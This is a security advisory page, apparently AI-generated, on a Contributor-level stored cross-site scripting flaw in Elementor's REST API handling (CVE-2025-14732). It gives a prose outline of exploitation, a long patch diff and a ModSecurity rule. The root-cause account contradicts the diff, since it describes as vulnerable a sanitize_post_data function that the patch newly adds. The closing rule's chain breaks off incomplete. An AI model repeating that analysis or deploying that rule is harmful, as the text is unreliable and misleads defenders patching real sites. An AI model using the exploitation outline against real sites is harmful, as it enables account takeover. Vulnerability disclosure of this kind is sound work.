Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 20, 2026

CVE-2025-14732: Elementor Website Builder <= 3.35.5 – Authenticated (Contributor+) Stored Cross-Site Scripting via REST API (elementor)

Plugin elementor
Severity Medium (CVSS 6.4)
CWE 87
Vulnerable Version 3.35.5
Patched Version 3.35.6
Disclosed April 6, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14732:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Elementor Website Builder WordPress plugin. The vulnerability affects all versions up to and including 3.35.5. Attackers with Contributor-level access or higher can inject arbitrary JavaScript payloads through widget parameters, which execute when users view the compromised pages. The CVSS score of 6.4 reflects the medium severity of this stored XSS vulnerability.

Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping for widget parameters processed through the WordPress REST API. The vulnerability originates in the plugin’s handling of post data during REST API requests. Specifically, the `sanitize_post_data` function in `/elementor/includes/plugin.php` (lines 831-856) fails to properly sanitize `_elementor_data` meta field content before processing. The function only applies `wp_kses_post` sanitization when the user lacks the `unfiltered_html` capability, but this sanitization occurs after JSON decoding and does not adequately filter script injection vectors within widget parameter values.

The exploitation method involves authenticated attackers with Contributor or higher privileges sending crafted REST API requests to update or create posts containing Elementor data. Attackers target the `/wp-json/wp/v2/posts` endpoint (or similar post types) with malicious payloads embedded in the `meta._elementor_data` parameter. The payload consists of JavaScript code inserted into widget parameter values that Elementor renders without proper output escaping. Since the vulnerability is stored, the malicious script executes whenever any user views the compromised page.

The patch in version 3.35.6 introduces comprehensive sanitization in the `sanitize_post_data` function. The fix adds a new filter hook `rest_pre_insert_post` that processes REST API requests before post insertion. The function now properly handles JSON-decoded `_elementor_data` by applying `wp_kses_post` sanitization recursively through `map_deep` to all string values within the data structure. This ensures all widget parameters receive proper HTML entity encoding before being stored in the database. The patch also adds the `elementor-v2-editor-templates` dependency to several asset files to maintain editor functionality.

Successful exploitation allows attackers to inject arbitrary JavaScript that executes in the context of authenticated users viewing compromised pages. This can lead to session hijacking, account takeover, content manipulation, and privilege escalation attacks. Since the vulnerability requires only Contributor-level access, which is commonly granted to content contributors in WordPress multisite environments, the attack surface is significant for sites using the Elementor plugin.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/elementor/assets/js/packages/editor-components/editor-components.asset.php
+++ b/elementor/assets/js/packages/editor-components/editor-components.asset.php
@@ -21,6 +21,7 @@
 		'elementor-v2-editor-panels',
 		'elementor-v2-editor-props',
 		'elementor-v2-editor-styles-repository',
+		'elementor-v2-editor-templates',
 		'elementor-v2-editor-ui',
 		'elementor-v2-editor-v1-adapters',
 		'elementor-v2-events',
--- a/elementor/assets/js/packages/editor-site-navigation/editor-site-navigation.asset.php
+++ b/elementor/assets/js/packages/editor-site-navigation/editor-site-navigation.asset.php
@@ -13,6 +13,7 @@
 		'elementor-v2-editor-panels',
 		'elementor-v2-editor-v1-adapters',
 		'elementor-v2-env',
+		'elementor-v2-events',
 		'elementor-v2-icons',
 		'elementor-v2-query',
 		'elementor-v2-ui',
--- a/elementor/assets/js/packages/editor-templates/editor-templates.asset.php
+++ b/elementor/assets/js/packages/editor-templates/editor-templates.asset.php
@@ -0,0 +1,18 @@
+<?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+/**
+ * This file is generated by Webpack, do not edit it directly.
+ */
+return [
+	'handle' => 'elementor-v2-editor-templates',
+	'deps' => [
+		'elementor-v2-editor',
+		'elementor-v2-editor-documents',
+		'elementor-v2-editor-styles-repository',
+		'elementor-v2-editor-v1-adapters',
+		'elementor-v2-store',
+		'react',
+	],
+];
--- a/elementor/core/admin/editor-one-menu/elementor-one-menu-manager.php
+++ b/elementor/core/admin/editor-one-menu/elementor-one-menu-manager.php
@@ -196,17 +196,27 @@
 	}

 	public function hide_old_elementor_menu(): void {
+		$this->remove_elementor_separator();
 		?>
 		<style type="text/css">
-			#toplevel_page_elementor,
-			#toplevel_page_elementor + .wp-not-current-submenu.wp-menu-separator,
-			#toplevel_page_elementor-home + .wp-not-current-submenu.wp-menu-separator {
+			#toplevel_page_elementor {
 				display: none !important;
 			}
 		</style>
 		<?php
 	}

+	private function remove_elementor_separator(): void {
+		global $menu;
+
+		foreach ( $menu as $key => $item ) {
+			if ( isset( $item[2] ) && 'separator-elementor' === $item[2] ) {
+				unset( $menu[ $key ] );
+				break;
+			}
+		}
+	}
+
 	public function register_flyout_items_as_hidden_submenus(): void {
 		$hooks = [];

--- a/elementor/core/editor/editor.php
+++ b/elementor/core/editor/editor.php
@@ -538,6 +538,26 @@
 		// Handle autocomplete feature for URL control.
 		add_filter( 'wp_link_query_args', [ $this, 'filter_wp_link_query_args' ] );
 		add_filter( 'wp_link_query', [ $this, 'filter_wp_link_query' ] );
+
+		add_filter( 'replace_editor', [ $this, 'filter_replace_editor' ], 10, 2 );
+	}
+
+	/**
+	 * Signals to WordPress that Elementor is replacing the block editor on its own editor page,
+	 * so that block-editor-specific behaviour (e.g. WP 7.0 COOP/COEP isolation headers) is not
+	 * applied when the Elementor editor is active.
+	 *
+	 * @param bool     $replace Whether the editor is being replaced.
+	 * @param WP_Post $post    The post being edited.
+	 *
+	 * @return bool
+	 */
+	public function filter_replace_editor( $replace, $post ) {
+		if ( isset( $_REQUEST['action'] ) && 'elementor' === $_REQUEST['action'] ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+			return true;
+		}
+
+		return $replace;
 	}

 	/**
--- a/elementor/elementor.php
+++ b/elementor/elementor.php
@@ -3,7 +3,7 @@
  * Plugin Name: Elementor
  * Description: The Elementor Website Builder has it all: drag and drop page builder, pixel perfect design, mobile responsive editing, and more. Get started now!
  * Plugin URI: https://elementor.com/?utm_source=wp-plugins&utm_campaign=plugin-uri&utm_medium=wp-dash
- * Version: 3.35.5
+ * Version: 3.35.6
  * Author: Elementor.com
  * Author URI: https://elementor.com/?utm_source=wp-plugins&utm_campaign=author-uri&utm_medium=wp-dash
  * Requires PHP: 7.4
@@ -28,7 +28,7 @@
 	exit; // Exit if accessed directly.
 }

-define( 'ELEMENTOR_VERSION', '3.35.5' );
+define( 'ELEMENTOR_VERSION', '3.35.6' );

 define( 'ELEMENTOR__FILE__', __FILE__ );
 define( 'ELEMENTOR_PLUGIN_BASE', plugin_basename( ELEMENTOR__FILE__ ) );
--- a/elementor/includes/plugin.php
+++ b/elementor/includes/plugin.php
@@ -24,6 +24,7 @@
 use ElementorDataManager as Data_Manager;
 use ElementorDataV2Manager as Data_Manager_V2;
 use ElementorCoreFilesUploads_Manager;
+use WP_REST_Request;

 if ( ! defined( 'ABSPATH' ) ) {
 	exit;
@@ -823,11 +824,37 @@

 		add_action( 'init', [ $this, 'init' ], 0 );
 		add_action( 'rest_api_init', [ $this, 'on_rest_api_init' ], 9 );
+		add_filter( 'rest_pre_insert_post', [ $this, 'sanitize_post_data' ], 10, 2 );
 	}

 	final public static function get_title() {
 		return esc_html__( 'Elementor', 'elementor' );
 	}
+
+	public function sanitize_post_data( $post, WP_REST_Request $request ) {
+		if ( current_user_can( 'unfiltered_html' ) ) {
+			return $post;
+		}
+		$request_body = json_decode( $request->get_body(), true );
+		$meta = $request_body['meta'];
+		if ( is_null( $meta ) ) {
+			return $post;
+		}
+		$elementor_data = $meta['_elementor_data'] ?? [];
+		if ( is_string( $elementor_data ) ) {
+			$elementor_data = json_decode( $elementor_data );
+		}
+		if ( is_null( $elementor_data ) ) {
+			return $post;
+		}
+
+		$elementor_data = map_deep( $elementor_data, function ( $value ) {
+			return is_bool( $value ) || is_null( $value ) ? $value : wp_kses_post( $value );
+		} );
+		$request_body['meta']['_elementor_data'] = json_encode( $elementor_data );
+		$request->set_body( json_encode( $request_body ) );
+		return $post;
+	}
 }

 if ( ! defined( 'ELEMENTOR_TESTS' ) ) {
--- a/elementor/includes/template-library/sources/local.php
+++ b/elementor/includes/template-library/sources/local.php
@@ -1156,6 +1156,21 @@
 		}
 	}

+	public function redirect_categories_page_to_saved_templates_page() {
+		// phpcs:ignore WordPress.Security.NonceVerification.Recommended
+		$taxonomy = sanitize_key( wp_unslash( $_GET['taxonomy'] ?? '' ) );
+		// phpcs:ignore WordPress.Security.NonceVerification.Recommended
+		$post_type = sanitize_key( wp_unslash( $_GET['post_type'] ?? '' ) );
+		$is_categories_page = 'edit-tags.php' === $GLOBALS['pagenow']
+			&& self::TAXONOMY_CATEGORY_SLUG === $taxonomy
+			&& self::CPT === $post_type;
+
+		if ( $is_categories_page ) {
+			wp_safe_redirect( admin_url( 'edit.php?post_type=' . self::CPT . '&tabs_group=library' ) );
+			die;
+		}
+	}
+
 	/**
 	 * Is template library supports export.
 	 *
@@ -1798,6 +1813,8 @@
 				$this->register_admin_menu( $admin_menu );
 			}, static::ADMIN_MENU_PRIORITY );

+			add_action( 'admin_init', [ $this, 'redirect_categories_page_to_saved_templates_page' ] );
+
 			add_action( 'elementor/editor-one/menu/register', function ( Menu_Data_Provider $menu_data_provider ) {
 				$this->register_editor_one_menu( $menu_data_provider );
 			} );
--- a/elementor/modules/ai/module.php
+++ b/elementor/modules/ai/module.php
@@ -1112,6 +1112,8 @@
 	}

 	public function ajax_ai_upload_image( $data ) {
+		$this->verify_upload_permissions( $data );
+
 		if ( empty( $data['image'] ) ) {
 			throw new Exception( 'Missing image data' );
 		}
--- a/elementor/modules/atomic-widgets/module.php
+++ b/elementor/modules/atomic-widgets/module.php
@@ -128,6 +128,7 @@
 		'editor-styles', // TODO: Need to be registered and not enqueued.
 		'editor-styles-repository',
 		'editor-interactions',
+		'editor-templates',
 	];

 	public function get_name() {
--- a/elementor/modules/components/prop-types/overrides-prop-type.php
+++ b/elementor/modules/components/prop-types/overrides-prop-type.php
@@ -23,7 +23,8 @@
 	public function sanitize_value( $value ): array {
 		$sanitized = parent::sanitize_value( $value );

-		return array_filter( $sanitized, function( $item ) {
+		// array_values is used to format filtered overrides to indexed array
+		return array_values( array_filter( $sanitized, function( $item ) {
 			switch ( $item['$$type'] ) {
 				case 'override':
 					return null !== $item['value'];
@@ -31,6 +32,6 @@
 					$override = $item['value']['origin_value'];
 					return null !== $override['value'];
 			}
-		} );
+		} ) );
 	}
 }
--- a/elementor/modules/promotions/module.php
+++ b/elementor/modules/promotions/module.php
@@ -22,6 +22,7 @@
 use ElementorModulesPromotionsPointersBirthday;
 use ElementorModulesPromotionsPointersBlack_Friday;
 use ElementorModulesPromotionsPropTypesPromotion_Prop_Type;
+use ElementorModulesPromotionsWidgetsAlly_Dashboard_Widget;
 use ElementorWidgets_Manager;
 use ElementorUtils;
 use ElementorIncludesEditorAssetsAPI;
@@ -94,9 +95,21 @@
 		add_action( 'elementor/editor/before_enqueue_scripts', [ $this, 'enqueue_editor_v4_alphachip' ] );
 		add_filter( 'elementor/editor/localize_settings', [ $this, 'add_v4_promotions_data' ] );

+		// Add Ally promo
+		Ally_Dashboard_Widget::init();
+
 		$this->register_atomic_promotions();
 	}

+	/**
+	 * Get Ally Scanner URL
+	 *
+	 * @return string
+	 */
+	public static function get_ally_external_scanner_url(): string {
+		return apply_filters( 'elementor/ally_external_scanner_url', 'https://elementor.com/tools/ally-accessibility-checker/scanner' );
+	}
+
 	private function handle_external_redirects() {
 		$page = filter_input( INPUT_GET, 'page', FILTER_SANITIZE_FULL_SPECIAL_CHARS );
 		if ( empty( $page ) ) {
--- a/elementor/modules/promotions/widgets/ally-dashboard-widget.php
+++ b/elementor/modules/promotions/widgets/ally-dashboard-widget.php
@@ -0,0 +1,113 @@
+<?php
+
+namespace ElementorModulesPromotionsWidgets;
+
+use ElementorCoreUtilsHints;
+use ElementorModulesPromotionsModule as Promotions;
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+
+class Ally_Dashboard_Widget {
+	public const ALLY_SCANNER_RUN = 'ea11y_dashboard_widget_scanner_run';
+	public const ALLY_NONCE_KEY = 'ea11y_dashboard_widget_nonce';
+	public const ALLY_PUBLIC_URL = 'https://wordpress.org/plugins/pojo-accessibility/';
+
+	/**
+	 * Check is widget already submitted
+	 *
+	 * @access public
+	 */
+	public static function is_scanner_run() {
+		return get_option( self::ALLY_SCANNER_RUN );
+	}
+
+	/**
+	 * Displays the Elementor Ally dashboard widget.
+	 *
+	 * @access public
+	 */
+	public static function ally_widget_render(): void {
+		$is_scanner_run = self::is_scanner_run();
+		$submit_id = $is_scanner_run ? 'e-dashboard-ally-submitted' : 'e-dashboard-ally-submit';
+		$link = $is_scanner_run ? self::ALLY_PUBLIC_URL : Promotions::get_ally_external_scanner_url() . '?url=' . home_url();
+		?>
+		<div class="e-dashboard-ally e-dashboard-widget">
+			<div class="e-dashboard-ally-img">
+				<svg width="151" height="151" viewBox="0 0 151 151" fill="none">
+					<path d="M76.1725 1.00457C117.143 1.55928 149.912 35.2226 149.363 76.1937C148.814 117.165 115.156 149.929 74.1846 149.374C33.2136 148.819 0.445007 115.156 0.993951 74.1849C1.54289 33.2138 35.2015 0.449866 76.1725 1.00457ZM74.3834 134.537C107.16 134.981 134.087 108.77 134.526 75.9928C134.965 43.2159 108.751 16.2853 75.9737 15.8415C43.1969 15.3977 16.27 41.6089 15.8309 74.3858C15.3917 107.163 41.6066 134.093 74.3834 134.537Z" fill="black" fill-opacity="0.12"/>
+					<path fill-rule="evenodd" clip-rule="evenodd" d="M75.0737 61.5437C75.6982 61.5855 76.3058 61.7729 76.8471 62.092C77.4593 62.4529 77.9646 62.9701 78.312 63.5898L88.6938 81.5006L88.7609 81.6391C89.0068 82.247 89.1008 82.9071 89.0337 83.5595C88.9664 84.2118 88.7401 84.8393 88.3754 85.3843C88.0107 85.9289 87.5175 86.3771 86.9405 86.6879C86.3633 86.9985 85.7182 87.1629 85.0628 87.1676L85.0543 87.1691H64.5848C64.5581 87.169 64.5311 87.1667 64.5049 87.1648C64.497 87.1654 64.4885 87.1672 64.4806 87.1676L64.3678 87.1662L64.1279 87.1477C63.5724 87.0855 63.0346 86.9075 62.5501 86.6251C61.9962 86.3021 61.5266 85.851 61.1823 85.31C60.8383 84.7694 60.6293 84.1534 60.5712 83.5152C60.5133 82.8768 60.6085 82.2316 60.8496 81.6376L60.9167 81.5006L71.2971 63.5898C71.6444 62.9704 72.1516 62.4529 72.7635 62.092C73.3819 61.7275 74.0874 61.5338 74.8053 61.5337L75.0737 61.5437ZM74.821 80.2226C74.0135 80.2226 73.3589 80.8773 73.3589 81.6848C73.3589 82.4923 74.0135 83.1469 74.821 83.1469H74.8353L74.9852 83.1397C75.7221 83.0645 76.2974 82.4415 76.2974 81.6848C76.2974 80.928 75.7221 80.305 74.9852 80.2298L74.8353 80.2226H74.821ZM74.8195 68.8928C74.2143 68.8932 73.723 69.384 73.723 69.9893V77.2999C73.7237 77.9045 74.2148 78.396 74.8195 78.3964C75.4246 78.3964 75.9154 77.9048 75.9161 77.2999V69.9893C75.9161 69.3838 75.4251 68.8928 74.8195 68.8928Z" fill="#DC2626"/>
+				</svg>
+			</div>
+			<div class="e-dashboard-ally-info">
+				<h4 class="e-dashboard-ally-title">
+					<?php $is_scanner_run
+						? esc_html_e( "Don't leave accessibility issues unresolved", 'elementor' )
+						: esc_html_e( 'Accessibility check recommended', 'elementor' ); ?>
+				</h4>
+				<p class="e-dashboard-ally-description">
+					<?php $is_scanner_run
+						? esc_html_e( 'Install Ally for free to fix accessibility issues directly in WordPress.', 'elementor' )
+						: esc_html_e( 'Most sites have accessibility gaps. Run a free scan to see how yours performs.', 'elementor' ) ?>
+				</p>
+				<a href="<?php echo esc_url( $link ); ?>" target="_blank" rel="noreferrer" id="<?php echo esc_attr( $submit_id ); ?>" class="button button-primary">
+					<?php $is_scanner_run
+						? esc_html_e( 'Get it free', 'elementor' )
+						: esc_html_e( 'Run free scan', 'elementor' ); ?>
+				</a>
+			</div>
+			<script>
+				jQuery(function($) {
+					$("#e-dashboard-ally-submit").on("click", function() {
+						$.post(ajaxurl, {
+							action: "e-ally-scanner-run",
+							nonce: "<?php echo esc_html( wp_create_nonce( self::ALLY_NONCE_KEY ) ); ?>"
+						});
+					});
+				});
+			</script>
+		</div>
+	<?php }
+
+	/**
+	 * Ajax action handler
+	 *
+	 * @access public
+	 */
+	public static function handle_click() {
+		check_ajax_referer( self::ALLY_NONCE_KEY, 'nonce' );
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( 'Insufficient permissions' );
+		}
+		update_option( self::ALLY_SCANNER_RUN, true );
+		wp_send_json_success();
+	}
+
+	/**
+	 * Add widget to the list
+	 *
+	 * @access public
+	 */
+	public static function register_ally_dashboard_widgets() {
+		add_meta_box(
+			'e-dashboard-ally',
+			'<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 20 20" fill="none">
+					<path fill-rule="evenodd" clip-rule="evenodd" d="M1.6853 15.5557C0.586489 13.9112 0 11.9778 0 10C0 7.34785 1.05357 4.8043 2.92893 2.92893C4.8043 1.05357 7.34785 0 10 0C11.9778 0 13.9112 0.586489 15.5557 1.6853C17.2002 2.78412 18.4819 4.3459 19.2388 6.17316C19.9957 8.00042 20.1937 10.0111 19.8078 11.9509C19.422 13.8907 18.4696 15.6725 17.0711 17.0711C15.6725 18.4696 13.8907 19.422 11.9509 19.8078C10.0111 20.1937 8.00042 19.9957 6.17316 19.2388C4.3459 18.4819 2.78412 17.2002 1.6853 15.5557ZM7.50039 5.83301H5.83398V14.1666H7.50039V5.83301ZM14.166 5.83301H9.16683V7.49941H14.166V5.83301ZM14.166 9.16585H9.16683V10.8323H14.166V9.16585ZM14.166 12.5002H9.16683V14.1666H14.166V12.5002Z" fill="#0C0D0E"/>
+				</svg>' . esc_html__( 'Accessibility', 'elementor' ),
+			[ self::class, 'ally_widget_render' ],
+			'dashboard',
+			'column3',
+			'high'
+		);
+	}
+
+	public static function init(): void {
+		if ( ! Hints::is_plugin_active( 'pojo-accessibility' ) ) {
+			// Register action
+			add_action( 'wp_ajax_e-ally-scanner-run', [ self::class, 'handle_click' ] );
+			// Register Dashboard Widgets.
+			add_action( 'wp_dashboard_setup', [ self::class, 'register_ally_dashboard_widgets' ], 99 );
+		}
+	}
+}
--- a/elementor/vendor/autoload.php
+++ b/elementor/vendor/autoload.php
@@ -19,4 +19,4 @@

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInit13b99171e74feadb72c79ef073fb43ee::getLoader();
+return ComposerAutoloaderInit53017212cf884e4c8ec7f90756eae70b::getLoader();
--- a/elementor/vendor/composer/autoload_real.php
+++ b/elementor/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInit13b99171e74feadb72c79ef073fb43ee
+class ComposerAutoloaderInit53017212cf884e4c8ec7f90756eae70b
 {
     private static $loader;

@@ -24,16 +24,16 @@

         require __DIR__ . '/platform_check.php';

-        spl_autoload_register(array('ComposerAutoloaderInit13b99171e74feadb72c79ef073fb43ee', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInit53017212cf884e4c8ec7f90756eae70b', 'loadClassLoader'), true, true);
         self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(__DIR__));
-        spl_autoload_unregister(array('ComposerAutoloaderInit13b99171e74feadb72c79ef073fb43ee', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInit53017212cf884e4c8ec7f90756eae70b', 'loadClassLoader'));

         require __DIR__ . '/autoload_static.php';
-        call_user_func(ComposerAutoloadComposerStaticInit13b99171e74feadb72c79ef073fb43ee::getInitializer($loader));
+        call_user_func(ComposerAutoloadComposerStaticInit53017212cf884e4c8ec7f90756eae70b::getInitializer($loader));

         $loader->register(true);

-        $filesToLoad = ComposerAutoloadComposerStaticInit13b99171e74feadb72c79ef073fb43ee::$files;
+        $filesToLoad = ComposerAutoloadComposerStaticInit53017212cf884e4c8ec7f90756eae70b::$files;
         $requireFile = Closure::bind(static function ($fileIdentifier, $file) {
             if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
                 $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
--- a/elementor/vendor/composer/autoload_static.php
+++ b/elementor/vendor/composer/autoload_static.php
@@ -4,7 +4,7 @@

 namespace ComposerAutoload;

-class ComposerStaticInit13b99171e74feadb72c79ef073fb43ee
+class ComposerStaticInit53017212cf884e4c8ec7f90756eae70b
 {
     public static $files = array (
         '9db71c6726821ac61284818089584d23' => __DIR__ . '/..' . '/elementor/wp-one-package/runner.php',
@@ -230,9 +230,9 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInit13b99171e74feadb72c79ef073fb43ee::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInit13b99171e74feadb72c79ef073fb43ee::$prefixDirsPsr4;
-            $loader->classMap = ComposerStaticInit13b99171e74feadb72c79ef073fb43ee::$classMap;
+            $loader->prefixLengthsPsr4 = ComposerStaticInit53017212cf884e4c8ec7f90756eae70b::$prefixLengthsPsr4;
+            $loader->prefixDirsPsr4 = ComposerStaticInit53017212cf884e4c8ec7f90756eae70b::$prefixDirsPsr4;
+            $loader->classMap = ComposerStaticInit53017212cf884e4c8ec7f90756eae70b::$classMap;

         }, null, ClassLoader::class);
     }
--- a/elementor/vendor/composer/installed.php
+++ b/elementor/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'elementor/elementor',
         'pretty_version' => '3.35.x-dev',
         'version' => '3.35.9999999.9999999-dev',
-        'reference' => '11300d9a8fe0cf91dce76b3c51c2e650e9e6277e',
+        'reference' => 'd8c57aecfb355ae47ccdd4a6be0dcd4521d3b50b',
         'type' => 'project',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         'elementor/elementor' => array(
             'pretty_version' => '3.35.x-dev',
             'version' => '3.35.9999999.9999999-dev',
-            'reference' => '11300d9a8fe0cf91dce76b3c51c2e650e9e6277e',
+            'reference' => 'd8c57aecfb355ae47ccdd4a6be0dcd4521d3b50b',
             'type' => 'project',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
@@ -29,9 +29,9 @@
             'dev_requirement' => false,
         ),
         'elementor/wp-one-package' => array(
-            'pretty_version' => '1.0.52',
-            'version' => '1.0.52.0',
-            'reference' => '423ab9ed01d342a11d304eb7d4276c5623a8263d',
+            'pretty_version' => '1.0.55',
+            'version' => '1.0.55.0',
+            'reference' => null,
             'type' => 'library',
             'install_path' => __DIR__ . '/../elementor/wp-one-package',
             'aliases' => array(),
--- a/elementor/vendor/elementor/wp-one-package/runner.php
+++ b/elementor/vendor/elementor/wp-one-package/runner.php
@@ -30,24 +30,24 @@

 $pattern = '#/([^/]+)/vendor/elementor/#';
 if ( preg_match( $pattern, __DIR__, $matches ) ) {
-	$wp_one_package_versions[ $matches[1] ] = '1.0.52';
+	$wp_one_package_versions[ $matches[1] ] = '1.0.55';
 }

-if ( ! function_exists( 'elementor_one_register_1_dot_0_dot_52' ) && function_exists( 'add_action' ) ) {
+if ( ! function_exists( 'elementor_one_register_1_dot_0_dot_55' ) && function_exists( 'add_action' ) ) {

 	if ( ! class_exists( 'ElementorOneVersions', false ) ) {
 		require_once __DIR__ . '/src/Versions.php';
 		add_action( 'plugins_loaded', [ ElementorOneVersions::class, 'initialize_latest_version' ], -15, 0 );
 	}

-	add_action( 'plugins_loaded', 'elementor_one_register_1_dot_0_dot_52', -20, 0 );
+	add_action( 'plugins_loaded', 'elementor_one_register_1_dot_0_dot_55', -20, 0 );

-	function elementor_one_register_1_dot_0_dot_52() {
+	function elementor_one_register_1_dot_0_dot_55() {
 		$versions = ElementorOneVersions::instance();
-		$versions->register( '1.0.52', 'elementor_one_initialize_1_dot_0_dot_52' );
+		$versions->register( '1.0.55', 'elementor_one_initialize_1_dot_0_dot_55' );
 	}

-	function elementor_one_initialize_1_dot_0_dot_52() {
+	function elementor_one_initialize_1_dot_0_dot_55() {
 		// The Loader class will be autoloaded from the highest version source
 		ElementorOneLoader::init();
 	}
--- a/elementor/vendor/elementor/wp-one-package/src/Admin/Components/Assets.php
+++ b/elementor/vendor/elementor/wp-one-package/src/Admin/Components/Assets.php
@@ -108,6 +108,7 @@
 				'elementorNewPostNonce' => wp_create_nonce( 'elementor_action_new_post' ),
 				'elementorSiteSettingsRedirectNonce' => wp_create_nonce( 'elementor_action_site_settings_redirect' ),
 				'elementorEditSiteNonce' => wp_create_nonce( 'elementor_action_edit_website' ),
+				'manageSiteOverviewRedirectNonce' => wp_create_nonce( 'manage_site_overview_redirect' ),
 				'shareUsageData' => 'yes' === Utils::get_one_connect()->data()->get_share_usage_data(),
 				'assetsUIRootUrl' => ELEMENTOR_ONE_UI_ASSETS_ROOT_URL,
 			] ) . ';'
--- a/elementor/vendor/elementor/wp-one-package/src/Admin/Services/Editor.php
+++ b/elementor/vendor/elementor/wp-one-package/src/Admin/Services/Editor.php
@@ -30,6 +30,7 @@
 	const LICENSE_KEY_OPTION_NAME = 'elementor_pro_license_key';
 	const LICENSE_DATA_OPTION_NAME = '_elementor_pro_license_v2_data';
 	const LICENSE_DATA_FALLBACK_OPTION_NAME = self::LICENSE_DATA_OPTION_NAME . '_fallback';
+	const API_REQUESTS_LOCK_OPTION_NAME = '_elementor_pro_api_requests_lock';
 	const COMMON_DATA_USER_OPTION_NAME = 'elementor_connect_common_data';

 	/**
@@ -146,16 +147,20 @@
 				}
 			);

+			// Delete license key and data if license is being deactivated
+			if ( $deactivate_license ) {
+				delete_option( self::LICENSE_KEY_OPTION_NAME );
+				delete_option( self::LICENSE_DATA_OPTION_NAME );
+				delete_option( self::LICENSE_DATA_FALLBACK_OPTION_NAME );
+				delete_option( self::API_REQUESTS_LOCK_OPTION_NAME );
+			}
+
 			// Update common data user option
 			update_user_option( $owner_id, self::COMMON_DATA_USER_OPTION_NAME, (array) $response['connectData'] );

 			// Update license key if it exists
 			if ( isset( $response['licenseKey'] ) ) {
 				update_option( self::LICENSE_KEY_OPTION_NAME, $response['licenseKey'] );
-			} elseif ( $deactivate_license ) {
-				delete_option( self::LICENSE_KEY_OPTION_NAME );
-				delete_option( self::LICENSE_DATA_OPTION_NAME );
-				delete_option( self::LICENSE_DATA_FALLBACK_OPTION_NAME );
 			}
 		} catch ( Throwable $th ) {
 			$this->logger->error( $th->getMessage() );
@@ -186,6 +191,7 @@
 			delete_option( self::LICENSE_KEY_OPTION_NAME );
 			delete_option( self::LICENSE_DATA_OPTION_NAME );
 			delete_option( self::LICENSE_DATA_FALLBACK_OPTION_NAME );
+			delete_option( self::API_REQUESTS_LOCK_OPTION_NAME );
 		} catch ( Throwable $th ) {
 			$this->logger->error( $th->getMessage() );
 		}
--- a/elementor/vendor/elementor/wp-one-package/src/Admin/Services/Migration.php
+++ b/elementor/vendor/elementor/wp-one-package/src/Admin/Services/Migration.php
@@ -7,6 +7,7 @@
 use ElementorOneAdminExceptionsMigrationException;
 use ElementorOneAdminHelpersUtils;
 use ElementorOneCommonSupportedPlugins;
+use ElementorOneConnectClassesGrantTypes;
 use ElementorOneConnectFacade;
 use ElementorOneLogger;

@@ -50,7 +51,10 @@
 	private function __construct() {
 		$this->logger = new Logger( self::class );

+		add_filter( 'elementor_pro/license/api/use_home_url', [ $this, 'filter_license_api_use_home_url' ] );
+
 		add_action( 'elementor_one/get_connect_instance', [ $this, 'get_migrated_instance' ], 10, 3 );
+		add_action( 'elementor_one/elementor_one_switched_domain', [ $this, 'after_switch_domain' ] );
 		add_action( 'elementor_one/elementor_one_before_disconnect', [ $this, 'on_disconnect' ] );
 		add_action( 'elementor_one/elementor_one_connected', [ $this, 'on_connect' ] );
 		add_action( 'activated_plugin', [ $this, 'handle_plugin_activation' ], 10, 1 );
@@ -238,6 +242,9 @@
 				}
 				self::update_editor_data( Editor::CONNECT_APP_ACTIVATE, true );
 				break;
+			case SupportedPlugins::MANAGE:
+				// Do nothing with the existing manage instance
+				break;
 			default:
 				$facade = Facade::get( $plugin_slug );
 				if ( ! $facade ) {
@@ -363,4 +370,38 @@
 		$facade = Facade::get( $plugin_slug );
 		return $facade ? $facade->get_config( 'app_prefix' ) : $plugin_slug;
 	}
+
+	/**
+	 * Handle domain switch for migrated Elementor Pro
+	 *
+	 * When a site's domain changes, we need to renew the access token
+	 * and reset the editor activation state to ensure proper connectivity.
+	 *
+	 * @param Facade $facade The elementor-one facade instance
+	 * @return void
+	 */
+	public function after_switch_domain( Facade $facade ): void {
+		if ( ! self::is_migrated( SupportedPlugins::ELEMENTOR_PRO ) ) {
+			return;
+		}
+
+		try {
+			$facade->service()->renew_access_token( GrantTypes::REFRESH_TOKEN );
+			self::update_editor_data( Editor::CONNECT_APP_ACTIVATE, true );
+		} catch ( Throwable $th ) {
+			$this->logger->error( $th->getMessage() );
+		}
+	}
+
+	/**
+	 * Filter the license API use home URL to use the site URL instead of the home URL
+	 * @param bool $use_home_url
+	 * @return bool
+	 */
+	public function filter_license_api_use_home_url( bool $use_home_url ): bool {
+		if ( self::is_migrated( SupportedPlugins::ELEMENTOR_PRO ) ) {
+			return false;
+		}
+		return $use_home_url;
+	}
 }

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@rx ^/wp-json/wp/v2/(posts|pages|elementor_library)(?:/|$)" 
  "id:202514732,phase:2,deny,status:403,chain,msg:'CVE-2025-14732: Elementor Stored XSS via REST API',severity:'CRITICAL',tag:'CVE-2025-14732',tag:'WordPress',tag:'Elementor',tag:'XSS'"
  SecRule REQUEST_METHOD "@streq POST" "chain"
